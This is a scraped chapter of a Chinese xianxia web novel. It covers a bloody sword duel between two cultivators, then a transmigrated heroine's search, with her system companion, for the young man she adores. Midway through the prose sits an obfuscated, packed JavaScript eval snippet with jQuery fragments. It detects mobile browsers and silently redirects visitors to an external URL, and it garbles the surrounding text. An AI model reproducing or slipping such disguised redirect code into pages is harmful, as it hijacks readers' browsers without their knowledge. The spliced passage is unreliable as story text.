默认冷灰
24号文字
方正启体

37. 找到你了

作者:十二根橡树本书字数:K更新时间:
    匀千钧头仰着,不移开视线,右手操剑,左手握住时绛皓手腕。


    居然带着他的手,往自己体内捅,太自然,太行云流水,以至于不像在自残,笑得猖狂,眉头都没皱一下。


    “敢骗我?”


    时绛皓挣脱不开,欲往下劈,睁大眼眶,瞳孔稍微放大,勾起嘴角:“没有哦,千钧。我何曾说过谎?”


    匀千钧猛回头观摩时绛皓,握住他手,不自觉游走他的剑,削入自己骨头。


    扣舷卡在匀千钧肋骨里,劈不下去。


    时绛皓侧身,上左手抱住匀千钧,在他后背蓄力,匀千钧右手斩落时绛皓左臂,那手臂软塌塌掉了下去。


    时绛皓笑了笑,膝盖一抬,顶托匀千钧:“等会说不定,你还得替我接回去。”


    语毕,匀千钧飞出,扣舷并同,仙葩脱手掉落原地。


    匀千钧被剑钉入地内,他颤抖着手拔出对方的本命剑。时绛皓跌坐地上,脚踩仙葩,左臂断落,右手掐诀,让扣舷继续向下。


    时绛皓双目流血,紧接着是鼻血,笑道:“怎么不高兴了?自残也没用,真幼稚。”


    再然后,时绛皓七窍统统流血,黑墨似的发丝落在眼前,嘴角持续上挑,悲艳凄美,宛如白雪皑皑中绽放的梅花。


    匀千钧摆成大字躺在地上,他血太滑,拔不出剑;灵力透支,无计可施。


    神经传来的痛让他想起来方才在做什么蠢事,真是大意了。


    “输狗屁,老子没服!”匀千钧咬牙,早就枯竭的灵力被他硬挤出几丝,仙葩突袭。


    同时,时绛皓头一偏,却还有半截脖子破开,他这颗头差点滚地上了,喃喃道:“你……挺吵的。”


    他右手半举,掐诀,扣舷横切,却被骨头卡着,不能动。


    匀千钧眼神涣散,眼前模糊,冷笑道:“没吃饭?用点力。”


    时绛皓捡住仙葩,卡着地面站起,他失去一臂,走不稳,踉踉跄跄挪到匀千钧身前,仙葩剑尖直指主人喉结:“千钧,认输。不然我真的要杀你了。”


    头颅微一偏斜,脑子对不齐脖子了。


    “老、子、不、服!”


    时绛皓长剑插入,眼神疏离,眼白赤红,宛若厉鬼:“服了吗?下一剑,是你的心脏,然后是,不安分的下半身。”


    匀千钧说不出话,张了张嘴,血如朱砂喷了满脸,对口语:“贱货,骚得要命,离我的阿闲远点。”


    时绛皓眼内闪过一抹清光,握着脖子担忧头滚下地,无奈轻叹道:“并非是我远离,她自己要靠近我的。是你自己管不住呀,千钧。别让她再扰我清静了。”


    两柄剑,尽数插在匀千钧身体里,歪歪斜斜。


    匀千钧一袭飞鸟长袍,此刻,皆染成了绛色,褴褛破碎。


    眼瞳失焦,双颊晕红,昳丽若灼灼桃花初绽。


    由于打得太鲜血淋漓,一时之间,输了的那方也并未说什么,大家都痴迷于这场切磋。


    贞秋觉得很奇怪,这个叫切磋吗,你们修仙界的人管这个叫切磋?这不是置人于死地吗?!


    她猛然想起最后那幕,匀千钧投来的眼神,体感一阵恶寒。


    东方灼桃转头道:“你看清没?”


    “看不懂。大抵他脑子抽了,又犯病了……”


    “绛皓急了,怎么不先夺剑,可怜左臂。”


    “往前捅捅就好。我看他才急,烂到没眼看,怎么不会躲……”


    东方灼桃目光轻慢,看向擂台:“匀千钧丢剑那下真是臭死了,还爱边打边治,哪有那么多灵力给他玩。”


    “他习惯了……我移绛皓,你搬我哥。柳师伯又要狠狠惩戒他了。”


    “行,这次让一让你。你哥带过来的人怎么办?”


    “她不是,挺好……一小姑娘,不要带走。另外,不是我哥,刚说错了。你别乱说。”


    “哈哈。搞不懂你们家里的事,真乱。记得把手臂捡回来,老丢三落四。”


    “绛皓的不会,换另一个人可说不准。”


    东方灼桃和孟纸闲走上台,搬尸体似的,把两具躯壳移走。


    等人走后,观战的人后知后觉开始热血沸腾,挽尊匀千钧的人声鼎沸,诋毁匀千钧的也旗鼓相当。


    本来就混乱,还有人开始因意见不合,热血上头了,当场斗殴起来。


    线下真人快打,一挑一、一挑十……反正敢来就行。


    从陌世而来的贞秋哪见过这阵仗,她围观了一会儿聚众斗殴,再打就要打到她头上了!


    她趁乱开溜。


    【宿主,我想看他们打架】


    “不要过于依赖宿主,幺零幺。”


    【………………】


    刚跑出房间,背后来了一道靓丽的声音:“贞秋,停停停,来都来了,我们打一架?”


    贞秋回头,是夏栏生,前面怎么没看见呢。


    她歪嘴咧开笑容:“恕不奉陪,我有急事。”


    夏栏生跑上前,短马尾辫颠来颠去:“有什么事,做完来打,刚刚那场打得酣畅淋漓,真他娘爽。”


    “你还别说,看得我蠢蠢欲动。”贞秋说归说,其实很不适,血腥过头了,暗网才能看见那种场面吧……还是,头一回看见肠子像冰块一样滑出来。


    “那就来打!”夏栏生跃跃欲试。


    “去你的,我要找人。”


    “你找谁?”


    “杨凌云。”


    夏栏生道:“哦,我看见他了。”


    贞秋呼吸一滞,焦急又惊喜,按住夏栏生双臂:“在哪里?!”


    夏栏生被这一抓,懵住了,什么都说:“在棵桂树上。杨凌云师兄还挺好的,指导我画削弱阵。”


    贞秋的惊喜瞬间下头,取而代之的是嫉妒,道:“哪里的哪棵树?什么时候,为什么教你,凭什么……”


    夏栏生困惑:“你怎么……”


    “告诉我……”


    “就今日上午,后山的某处,具体我也不知道……反正就是桂树。师兄手把手教的,我学会了大半,怎么样,废物,又超过你了。”夏栏生一提及自己的进步,声音又染上了骄傲自满。


    手把手教?!手把手,怎么个手把手教法。


    贞秋说话都在抖,好生妒忌他:“怎、怎么,怎么,怎么教教……教的?什么叫,手把手教?!”


    夏栏生摸不着头脑,奇怪:“你怎么了?”他愣了下,看着贞秋,叫道,“你他娘哭什么?!不是我,不是我害得吧,你、你、你你别哭!喂!”


    最近敏感到情绪一激动就想哭,太压抑了。


    贞秋撒手,擦干净眼泪:“你走前他还在吗?”


    夏栏生手足无措,他真怕女的掉眼泪!


    老实答道:“还在吧,我和师兄告别后,他又躺回树上了,似乎在那……歇息。”


    “能带我过去吗?”贞秋弯腰,低声下气,泪珠硕大的掉。


    气死了气死了恨死了恨死了……恨恨恨……


    “你到底在哭什么?”


    “我没哭,带我去找他行不行?”


    “……好。”


    *


    夏栏生不明所以、蒙在鼓里,他循着之前的路,带着贞秋走,可是贞秋反而走在前方。


    忽然,贞秋停了下来。


    她回头,表情慎重:“夏栏生,我脸上脏吗?头发乱不乱?看起来丑不丑?”


    夏栏生迷惑地眯起眼睛,好端端问这个?


    贞秋心慌,弱弱问:“很丑吗?”


    【宿主,不可能丑!我专门调过数值的!】


    夏栏生这才反应过来:“呃……不,不丑。”


    “很好。我头发乱吗?”


    夏栏生看了她一会,指了指自己左边脑袋:“嗯……这里有点。”


    “哪里?那个死金丹,服了,恶心死了。”贞秋盲摸着上去理,果然摸到一凸起的发丝。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341856|199375||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    夏栏生追问道:“什么死金丹?”


    贞秋粗暴地试图塞回去:“没什么。现在怎么样?”


    夏栏生盯了许久,不知道该不该说,在贞秋不容抗拒的目光下,道:“还是乱……更乱了……”


    贞秋薅下头发,发带解开,干脆重新扎,她全解开了,边走边扎:“不信了。还在前面吗?”


    夏栏生微一迟疑,道:“为什么要重新扎?”


    贞秋回头,手不停歇,口中叼着两根青绿发带,含糊:“你不懂,你这个满脑子修炼的人又懂什么?小屁孩。”


    夏栏生脸色爆红:“你他娘比我大到哪里去?!早出生了不起啊?!没差个百来岁不准说我小!”


    贞秋取下两根发带,鞠躬:“对不起,夏栏生,我不应该那样说你。”


    夏栏生觉得,她还是回嘴比较舒服。脸红未褪,搔着后脑,看向别处:“莫名其妙。”


    贞秋绑好头发,对夏栏生好感上涨飞快,笑道:“您大人不计小人过,对不起,小的再也不会对您莫名其妙了。”


    夏栏生回首:“这不还是在莫名其妙吗?!”


    贞秋支支吾吾道:“等会,就是,看到,杨凌云后,你会走吗?”


    “我为什么走?你想找他偷师是不是,我才不走。”


    贞秋露出一个将近慈祥的笑脸:“你真他娘可爱,谁创造出来的。”


    “你说什么?!喂,都说了不要莫名其妙!”


    “夏栏生,我和你说,我不找他偷师,麻烦你带我找到他后就走,行吗?”


    “凭什么?”


    “希望您能大发慈悲。”


    夏栏生鸡皮疙瘩掉了一地:“那你和我单挑。”


    贞秋没有犹豫,快速回答:“好,什么时候?”


    夏栏生忽觉无趣,兴致骤减,改口道:“算了。你当我小弟怎么样?”


    “可以,老大。”


    “……你这人怎么这样?”


    “那你喜欢哪种人,我可以学,我很会演的,老大。”


    夏栏生总觉得有口气上不来下不去,带着浑身难受,走了段路,道:“诺,最前面那个,那我走了。”


    “幺零幺,我好幸福。”


    【您幸福就好,您幸福我也幸福】


    桂树,缀满了桂花,却还不到桂花开的季节,可是,这里是衡雁宗,各种花争奇斗艳,不分季节盛开。


    满地黄花,仍在扑簌地落。


    何须深红浅碧色,自是花中第一流。


    她踩烂了花,一步步走向桂树,抬头看树杈,枝繁叶茂,满树繁英。


    果然有人躺在上面,用书盖着脸。


    杨凌云栖息在树桠之间,一只腿笔直垂下,另一只微微支起;一只手搭在腹间,另一手扶书。


    呼吸均匀,睡得很稳。桂花掉在衣袍褶皱内,时有抖落。


    素净如月华的校服,被碎英衬得出尘,他睡在那,成了最淡远的一朵。


    贞秋缓缓靠近,看了许久,露出自己都没察觉的笑容。


    装货,但是装到她心坎里去了,睡相好萌!


    坐到树下,双膝屈起,抱着自己膝盖看向灌木丛,什么也没干。


    【宿主,您只是这样就幸福了吗?】


    如此近距离接触正主,这都不幸福得有多贪婪?


    “对,我只要这样就会幸福。”她勾着头,玩弄着三角范围内的桂花花瓣,一粒粒,淡雅暗黄,花骨朵儿柔软。


    原本是极其幸福的构图,不料,这死桂树爆装备了。


    贞秋脆弱的天灵盖被坚硬的书脊狠狠地砸中。书脊砸人,剧痛无比。


    她头重重地向下一沉,书啪嗒一声摔在前面,强忍着没国骂,痛得眼泪在眼眶里打滚,捂住脑袋。


    下一刻,是杨凌云从树上滚了下来。


    贞秋甚至来不及因痛而哭,瞪大了眼睛:“?”


    天上掉她推了!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)